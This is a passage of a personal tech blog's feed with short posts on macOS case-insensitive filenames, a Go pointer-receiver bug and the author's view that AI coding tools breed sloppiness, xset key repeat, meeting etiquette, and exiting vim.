&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;el&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$RANDOM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$el&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;cat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;22247&lt;/span&gt;
&lt;span class="mi"&gt;22247&lt;/span&gt;
&lt;span class="mi"&gt;22247&lt;/span&gt;
&lt;span class="mi"&gt;22247&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Woot?! The same integer in all of them?&lt;/p&gt;
&lt;p&gt;Let's check the inodes of the files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;%i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;24362032&lt;/span&gt;
&lt;span class="mi"&gt;24362032&lt;/span&gt;
&lt;span class="mi"&gt;24362032&lt;/span&gt;
&lt;span class="mi"&gt;24362032&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Argh! It's the same inode. So although macOS shows four files, they're
all pointing to the same storage unit. Good grief.&lt;/p&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/></entry><entry><title>Don't Fear the Pointer</title><link href="https://skybert.net/llm/dont-fear-the-pointer" rel="alternate"/><published>2025-12-05T00:00:00+01:00</published><updated>2025-12-05T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-12-05:/llm/dont-fear-the-pointer</id><summary type="html">&lt;p&gt;I'm currently developing my own
&lt;a href="https://www.man7.org/linux/man-pages/man1/top.1.html"&gt;top&lt;/a&gt; like
resource monitor. I'm doing this because I'm currently working on
macOS, and I don't like the macOS &lt;code&gt;top&lt;/code&gt;. I've tried out both &lt;code&gt;htop&lt;/code&gt;
and &lt;code&gt;btop&lt;/code&gt; and they're great. However, they're not what I want, so I
set out to write my own top …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I'm currently developing my own
&lt;a href="https://www.man7.org/linux/man-pages/man1/top.1.html"&gt;top&lt;/a&gt; like
resource monitor. I'm doing this because I'm currently working on
macOS, and I don't like the macOS &lt;code&gt;top&lt;/code&gt;. I've tried out both &lt;code&gt;htop&lt;/code&gt;
and &lt;code&gt;btop&lt;/code&gt; and they're great. However, they're not what I want, so I
set out to write my own top like app in &lt;a href="https://go.dev/"&gt;Go&lt;/a&gt; so that
I can use it on Linux too.&lt;/p&gt;
&lt;p&gt;The first version of my resource monitory, I called it
&lt;a href="https://github.com/skybert/ytop"&gt;ytop&lt;/a&gt; since the &lt;code&gt;y&lt;/code&gt; was available, was coded
in Emacs without an AI assistant, like Copilot. However, I &lt;em&gt;did&lt;/em&gt; use
Copilot in a browser window to get code snippets for things like
"create a table using this TUI framework" and so on. Using Copilot as
my co-consultant, sped up my development for sure and within a few
days (well, hours, you see, parents don't really have much more than
one hour after the kid has gone to bed and you're done with your
chores), I had a working implementation. Happy times!&lt;/p&gt;
&lt;p&gt;Now, I decided to rewrite the whole thing, learning from my past
mistakes, getting the structure right and last, but not least, not use
AI for any purpose, not even research. My tools were just the editor,
auto completion with &lt;a href="https://go.dev/gopls/"&gt;gopls&lt;/a&gt; and the &lt;a href="https://github.com/charmbracelet/bubbletea"&gt;Bubbletea
TUI library documention&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After an hour or two, I had rewritten the whole thing, this time
structuring the app far better, writing the code the way I think is
the clearest and most maintainable. With this, I know exectly what's
happening everywhere in the code, I can quickly fix it and extend it
with new features.&lt;/p&gt;
&lt;p&gt;There was just this one problem. It didn't work. The process table
came up, the headlines were all correct, but there was no processes
listed. I went through each line of my app and didn't find anything
wrong. I compared with my previous implementation and couldn't work
out what it was. I then changed my re-implementation to, block by
block, be that of the original verison of the app. Still no
success. Until there were only five lines of difference. And then I
saw it. The problem was:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;refreshMsg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;updateTable&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;refreshCmd&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;updateTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;processe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetRows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Did you spot the error? I surely didn't. I looked at this code (100
times more lines than the above, but still) many, many, &lt;em&gt;many&lt;/em&gt; times.&lt;/p&gt;
&lt;p&gt;The problem, of course, was that I'd forgotten that these kind of
functions in Go, called &lt;a href="https://go.dev/tour/methods/8"&gt;value
receivers&lt;/a&gt;, don't let you modify the
object (yes, I know it's called a struct, old words die hard) that
you're "on", &lt;code&gt;m&lt;/code&gt; in this case. Value receivers are by far the most
common "receiver" functions, but if you need to alter the state of the
&lt;code&gt;m&lt;/code&gt; struct here, you must use a &lt;a href="https://go.dev/tour/methods/8"&gt;pointer
receiver&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;refreshMsg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;updateTable&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;refreshCmd&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;updateTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;processe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetRows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With that one, ONE, character change, my code now worked. &lt;code&gt;ytop&lt;/code&gt;
displayed processe in all their glory.&lt;/p&gt;
&lt;p&gt;When I realised the error, I remembered all of a sudden that I had
encountered this before. During the coding of my first implementation
of &lt;code&gt;ytop&lt;/code&gt;. The thing was, back then, I quickly copied all errors or
problems into my Copilot chat window and got ready answers back on how
to fix them. For this very problem, I had just copied and pasted my
entire Go program into the chat and asked: "No processes are showing
up, fix it" (I didn't add "please" since that'll consume more energy
on the AI machine).&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2025/ytop-with-copilot.png"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/ytop-with-copilot.png"
    style="width: 100%"
    alt="Emacs and Copilot in a web browser"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After two seconds, Copilot fixed it while dilligently explaning what
was wrong and how it solved the problem.&lt;/p&gt;
&lt;p&gt;The thing was, since I didn't go through the 2-3 day (that's, 2-3
hours 21:30 in the evening for tired parents) pain of debugging, I
didn't really learn from it. I didn't feel the pain, so I didn't learn
from my mystake. When I one week later encountered the same problem, I
had nothing to counter it with.&lt;/p&gt;
&lt;p&gt;My takeway from all of this, is that using AI tools takes away some
things from you as a developer. First off, is the the pure joy of
programming and solving problems on your own. Yes, I've heard "AI is
just another abstraction layer" and "AI is just another tool"
arguments. I do follow the line of reasoning, but I don't quite accept
them. If we instead of "artificial intelligence" called it "guessing
machine" we would all be in a more sound placce to discuss this new
and arguably exciting technology.&lt;/p&gt;
&lt;p&gt;Anyways, AI takes away another thing from coders that's just as bad as
the joy of coding itself, and this is my main point in this article:
&lt;em&gt;AI makes you sloppy&lt;/em&gt;. I could've chosen many words, but I think
"sloppy" fits the bill perfectly. You don't become a worse
programmer. You can still buckle up and get back into it. But you
become lazy. Sloppy.&lt;/p&gt;
&lt;p&gt;So am I not using AI then? No, not at all. I will not stop using AI
tools, but for apps that I care about, that I am to &lt;em&gt;maintain&lt;/em&gt; with a
high level of effectiveness and quality, I will do the coding
myself. I will use AI for resarch (always cross checking with actual
references. AI regularly dreams up code that calls APIs that don't
exist) and brain storming. I'll let it create PoCs and I will use it
for code I don't really care about, like "create a JSON structure from
these 20 Go structs" or "this package lacks unit tests, write some
that make sense, not just silly ones". I will continue to enjoy using
&lt;a href="https://github.com/github/copilot-cli"&gt;Copilot CLI&lt;/a&gt; to bootstrap
projects, fix messy or abandoned code. But for coding the core of the
systems I'm responsible for, I will continue to write that myself,
thank you very much.&lt;/p&gt;
&lt;p&gt;I've spent 25 years getting as fast as possible. Fast at touch typing,
which btw, is &lt;a href="http://steve-yegge.blogspot.com/2008/09/programmings-dirtiest-little-secret.html"&gt;Programming's Dirtiest Little
Secret&lt;/a&gt;,
honing my coding skills, optimising my editor and programming tools,
what &lt;a href="https://www.franklincovey.com/courses/the-7-habits/habit-7/"&gt;Franklin
Covey&lt;/a&gt; in
his book calls "sharpen the saw". I sharpen my saw constantly. I read
a lot, I experiment a lot and I &lt;em&gt;practice&lt;/em&gt; a lot. This makes me
fast. Very fast.&lt;/p&gt;
&lt;p&gt;Of course, the AI robot can produce code even faster than me. Much
faster. Of course it can, it's a robot after all! But for starters,
it's not always it takes the solution into the direction I want it to
go. It doesn't necessarily choose my &lt;em&gt;style&lt;/em&gt; of programming, choosing
the solution which makes the new code blend in with the existing
one. Or sometimes, &lt;em&gt;I have problems&lt;/em&gt; comprehending what the robot did
because it doesn't follow my line of thinking. If I'm then pressed for
time, or am demotivated from all the vibing, I might just commit the
code and forget about it. When there's a problem in this new code, I
just vibe code some more. Which of course makes me drift further away
from the code.&lt;/p&gt;
&lt;p&gt;Regardless of all of this, what's for sure, is that I will always need
to review what the robot did, and potentially rewrite it. It's not
like the AI writes some code and that's the end of the story. Thus,
when considering the entire flow of implementing a feature: thinking
through the problem, designing a solution, writing code to make it
work, testing the feature, reviewing the code changes, documenting it,
fixing bugs, ironing out corner cases, and later extending the code;
the speed gains of having AI code inserted into your editor is not
that relevant IMO.&lt;/p&gt;
&lt;p&gt;And of course, as any developer will tell you, the coding part is not
what you spend most of your time at work doing anyway. For that's
meetings!&lt;/p&gt;
&lt;p&gt;Happy &lt;s&gt;vibe&lt;/s&gt; coding anyone!&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2025/ytop.png"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/ytop.png"
    alt="ytop resource monitor"
    style="width: 100%"
  /&gt;
&lt;/a&gt;&lt;/p&gt;</content><category term="llm"/><category term="aifail"/><category term="go"/><category term="ai"/><category term="llm"/></entry><entry><title>Print Reveal JS presentation on macOS</title><link href="https://skybert.net/mac-os-x/print-reveal-js-presentation-on-macos" rel="alternate"/><published>2025-11-13T00:00:00+01:00</published><updated>2025-11-13T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-11-13:/mac-os-x/print-reveal-js-presentation-on-macos</id><content type="html">&lt;p&gt;Access the presentation by adding &lt;code&gt;?print-pdf&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use Safari&lt;/li&gt;
&lt;li&gt;Select &lt;code&gt;Print&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Select landscape&lt;/li&gt;
&lt;li&gt;Select &lt;code&gt;Print background&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Select &lt;code&gt;PDF&lt;/code&gt; instead of actually printing it.&lt;/li&gt;
&lt;/ul&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/></entry><entry><title>Lightning Fast Scroll in X</title><link href="https://skybert.net/linux/lightning-fast-scroll-in-x" rel="alternate"/><published>2025-10-15T00:00:00+02:00</published><updated>2025-10-15T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-10-15:/linux/lightning-fast-scroll-in-x</id><summary type="html">&lt;p&gt;Ever wanted your Emacs or &lt;code&gt;less&lt;/code&gt; pager to move faster down a huge
file, keep pressing the down arrow just doesn't go fast enough? There
is a actually an easy way to make the cursor go as fast as you want.&lt;/p&gt;
&lt;p&gt;To get fast scrolling in all apps under X …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ever wanted your Emacs or &lt;code&gt;less&lt;/code&gt; pager to move faster down a huge
file, keep pressing the down arrow just doesn't go fast enough? There
is a actually an easy way to make the cursor go as fast as you want.&lt;/p&gt;
&lt;p&gt;To get fast scrolling in all apps under X.org, you can use the &lt;code&gt;xset r
rate &amp;lt;n&amp;gt; &amp;lt;m&amp;gt;&lt;/code&gt; command, for example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first number is the delay before repeating of the current key
press starts and the second number is how many repeated key presses
will be sent per second.&lt;/p&gt;
&lt;p&gt;You can set it in the script that starts up your window manager or
desktop environment,
e.g. &lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/x/.xsession#L44"&gt;.xsession&lt;/a&gt;
or
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/i3/config#L218"&gt;.config/i3/config&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Happy scrolling!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="x"/><category term="i3"/></entry><entry><title>Make Meetings a Safe Place to Discuss And Share Ideas</title><link href="https://skybert.net/various/make-meetings-a-safe-place-to-discuss-and-share-ideas" rel="alternate"/><published>2025-09-23T00:00:00+02:00</published><updated>2025-09-23T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-09-23:/various/make-meetings-a-safe-place-to-discuss-and-share-ideas</id><summary type="html">&lt;p&gt;These are my suggestions to meeting participants in general and
architects and senior developers in particular:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://signalvnoise.com/posts/3124-give-it-five-minutes"&gt;Give your colleague's idea 5
  minutes&lt;/a&gt;. It
  could very well be the ide has merits you don't see. Letting the
  idea float for a couple of minutes before you shoot it down does not …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;These are my suggestions to meeting participants in general and
architects and senior developers in particular:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://signalvnoise.com/posts/3124-give-it-five-minutes"&gt;Give your colleague's idea 5
  minutes&lt;/a&gt;. It
  could very well be the ide has merits you don't see. Letting the
  idea float for a couple of minutes before you shoot it down does not
  mean you endorse it.&lt;/li&gt;
&lt;li&gt;Appreciate that there are no perfect solutions, all approaches come
  with their own set of advantages and disadvantages. Thus, make the
  meeting a safe place where people can share their ideas and voice
  their thoughts.&lt;/li&gt;
&lt;li&gt;Don't interrupt&lt;/li&gt;
&lt;li&gt;Don't laugh at your colleague's arguments.&lt;/li&gt;
&lt;/ul&gt;</content><category term="various"/><category term="various"/></entry><entry><title>How to exit vim when Q doesn't work</title><link href="https://skybert.net/mac-os-x/how-to-exit-vim-when-q-doesnt-work" rel="alternate"/><published>2025-09-10T00:00:00+02:00</published><updated>2025-09-10T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-09-10:/mac-os-x/how-to-exit-vim-when-q-doesnt-work</id><summary type="html">&lt;p&gt;The &lt;kbd&gt;q&lt;/kbd&gt; is broken on my keyboard, thus, I cannot exit from
anything using &lt;code&gt;less&lt;/code&gt; as a pager, or indeed &lt;code&gt;vim&lt;/code&gt;. Eventually, I caved
in an RTFMed. &lt;a href="https://man7.org/linux/man-pages/man1/less.1.html"&gt;man
less&lt;/a&gt; told me that
&lt;kbd&gt;ZZ&lt;/kbd&gt; is an alternative way of exiting &lt;code&gt;less&lt;/code&gt;. Turns out it
works in &lt;code&gt;vim&lt;/code&gt;. Happy days.&lt;/p&gt;
&lt;p&gt;Great start …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The &lt;kbd&gt;q&lt;/kbd&gt; is broken on my keyboard, thus, I cannot exit from
anything using &lt;code&gt;less&lt;/code&gt; as a pager, or indeed &lt;code&gt;vim&lt;/code&gt;. Eventually, I caved
in an RTFMed. &lt;a href="https://man7.org/linux/man-pages/man1/less.1.html"&gt;man
less&lt;/a&gt; told me that
&lt;kbd&gt;ZZ&lt;/kbd&gt; is an alternative way of exiting &lt;code&gt;less&lt;/code&gt;. Turns out it
works in &lt;code&gt;vim&lt;/code&gt;. Happy days.&lt;/p&gt;
&lt;p&gt;Great start on my day: Wrote some elisp to search for symbol at
point. A few lines of elisp that will keep me smiling throughout the
week :-)&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;After two weeks of not working, my &lt;kbd&gt;q&lt;/kbd&gt; came to life again
today. I suspect there was some software on macOS that held on to it,
possibly the input switcher (I constantly switch between different
keyboard layouts), that's at least what makes the most sense to me.&lt;/p&gt;
